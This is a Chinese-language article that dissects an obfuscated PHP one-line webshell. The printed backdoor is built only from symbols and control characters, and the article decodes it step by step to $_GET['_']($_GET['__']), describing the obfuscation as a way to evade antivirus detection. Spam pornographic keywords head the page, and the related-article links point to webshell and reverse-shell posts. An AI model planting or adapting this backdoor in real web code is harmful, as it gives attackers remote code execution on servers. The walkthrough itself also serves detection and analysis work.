欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

剖析PHP純符號一句話webshell的代碼

  發(fā)布時間:2014-04-08 11:01:57   作者:佚名   我要評論
這篇文章主要介紹了PHP純符號一句話webshell的代碼詳細剖析,了解其本來面目,需要的朋友可以參考下


復(fù)制代碼
代碼如下:

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
${'_'.$_}['_'](${'_'.$_}['__']);
?>

以上是網(wǎng)上流傳的一段由純符號組成的一句話后門代碼,這種代碼混淆方法主要用以webshell免殺。下文將詳細剖析這段看似復(fù)雜的PHP變形代碼。

第一行:$_="";
定義一個以下劃線作為命名的字符變量:$_,賦值為空。
此行實際上不影響代碼執(zhí)行效果,僅增加混淆效果。

第二行:$_[+""]='';
定義一個$_數(shù)組元素,其key為+"",賦值為空。
眾所周知,PHP是個弱類型語言,也就是說PHP并不嚴格驗證變量類型,所以這里+""作為數(shù)組了key,其值等同于0,所以此行等同于$_[0]='';
此時$_被定義為數(shù)組,覆蓋上一行的定義。

第三行:$_="$_"."";
將變量$_強制轉(zhuǎn)換為字符串,因為此時$_類型為數(shù)組,強制轉(zhuǎn)換后的結(jié)果為字符串"Array"(string(5) "Array" ),而非數(shù)組元素的值。

第四行:$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
這一行涉及到計算機二進制的“或運算”和“異或運算”,這里先簡單介紹下這兩種運算規(guī)則:
1、或運算,符號為 |
運算規(guī)則:0|0=0; 0|1=1; 1|0=1; 1|1=1;
簡單來說,或運算前后兩個對象 只要有 一個為1,其值就為1,否則為0
2、異或運算,符號為 ^
運算規(guī)則:0^0=0; 0^1=1; 1^0=1; 1^1=0;
簡單來說,異或運算可以看成是判斷前后兩個對象是否相等的,如果兩個對象不同(即為異),則值為1,否則為0

再回到代碼上來,此行代碼分三個部分($_[+""]|"")、($_[+""]|"")、($_[+""]^""),用連接符“.”號相連,每個部分都是其中兩個對象進行"或運算"或"異或運算"。
先看第一部分($_[+""]|""),很明顯,這里是$_[+""]和""這兩個對象進行“或運算”。
第一個對象$_[+""](也就是$_[0]),要注意其值已經(jīng)不是第二行定義的空值,因為在第三行時$_變量已經(jīng)被覆蓋定義為字符串“Array”。這里涉及到另一個php知識細節(jié):對于 字符串[數(shù)字] 結(jié)構(gòu),字符串將會當(dāng)成數(shù)組處理,返回以后面數(shù)字作為索引的元素值,例如:$x='abcd9.com',則$x[4]='9'??梢姡?_[+""]值為字符串“Array”第一字符“A”。
第二個對象""是一個特殊字符(注意:這不是短橫,雖然長得很像,實際上是個特殊字符,此類符號在某些環(huán)境下無法識別而作為亂碼處理。后面兩部分中的特殊字符也如此。),暫不管為什么此處是這個特殊字符而不是其他字符,先在此行下增加一行測試代碼顯示這一行定義的$_值:
var_dump($_);
測試結(jié)果為:string(3) "GET" ,可見,($_[+""]|"").($_[+""]|"").($_[+""]^"")值"GET",顯而易見,($_[+""]|"")值為“G”,($_[+""]|"")值為“E”,($_[+""]^"")值為“T”。
再先看第一部分($_[+""]|"")值為"G",上面已得到$_[+""]值為“A”,即("A"|"")="G",下面分析下此等式:
“A”二進制:0100 0001
“G”二進制:0100 0111
0100 0001 | x = 0100 0111
通過或運算規(guī)則推導(dǎo)并參考ASCII碼對照表,x值可能有以下幾個結(jié)果:

復(fù)制代碼
代碼如下:

01000110 //ASCII可顯示字符:F
01000111 //ASCII可顯示字符:G
00000110 //ASCII控制字符:ACK,代表“確認回應(yīng)”
00000111 //ASCII控制字符:BEL,代表“響鈴”

代碼中的""即為ASCII控制字符:ACK。其實另外三個字符也適用,為了增加混淆效果故采用這種特殊字符。
搞清楚第一部分,第二、第三部分也同理可推。

第五行:${'_'.$_}['_'](${'_'.$_}['__']);
此行可通過小括號分成兩部分:${'_'.$_}['_'] 和 ${'_'.$_}['__'],兩部分結(jié)構(gòu)均是${A}['B'],區(qū)別僅是后面B是一條下劃線還是兩條小劃線。
先看相同部分${'_'.$_},這里涉及到大括號{}在php中的特性一個:在變量間接引用中進行定界,如"$abc"為變量$abc,而"${a}bc"為變量$a連接字符"bc",了解了這一特性,而第四行對$_賦值為“GET”,可見${'_'.$_}即為變量$_GET,加上后面['_'],則為$_GET['_'],接收"get"的表單中的變量為'_'的值。小括號里的部分同理。
根據(jù)上面敘述,第五行代碼還原后是:$_GET['_']($_GET['__']);

至此,這段混淆代碼已原形畢露,一句話后門代碼原形為:$_GET['_']($_GET['__']),傳遞特殊參數(shù)構(gòu)建webshell鏈接網(wǎng)址(例如:])),通過一句話木馬客戶端即可連接此URL。

相關(guān)文章

  • PHP一句話Webshell變形總結(jié)

    大部分Webshell查殺工具都是基于關(guān)鍵字特征的,通常他們會維護一個關(guān)鍵字列表,以此遍歷指定擴展名的文件來進行掃描,所以可能最先想到的是各種字符串變形
    2012-10-16
  • PHP Webshell 下的端口反彈方法

    phpspy2011 中的 Back Connect 怎么弄都不能反彈回來,在網(wǎng)上找了段代碼,測試成功了,但自己看了下,這段代碼貌似也是從 phpspy 中分離出來的
    2011-11-11
  • 菜鳥拿WebShell的經(jīng)驗

    通過幾次成功的拿Webshell,發(fā)現(xiàn)自己有時也走了一些彎路,為了避免其他的朋友再在困惑中迷失方向,現(xiàn)在我將自己的一些經(jīng)驗寫出來,希望對一些想學(xué)拿Webshell的朋友有一定的
    2008-10-08

最新評論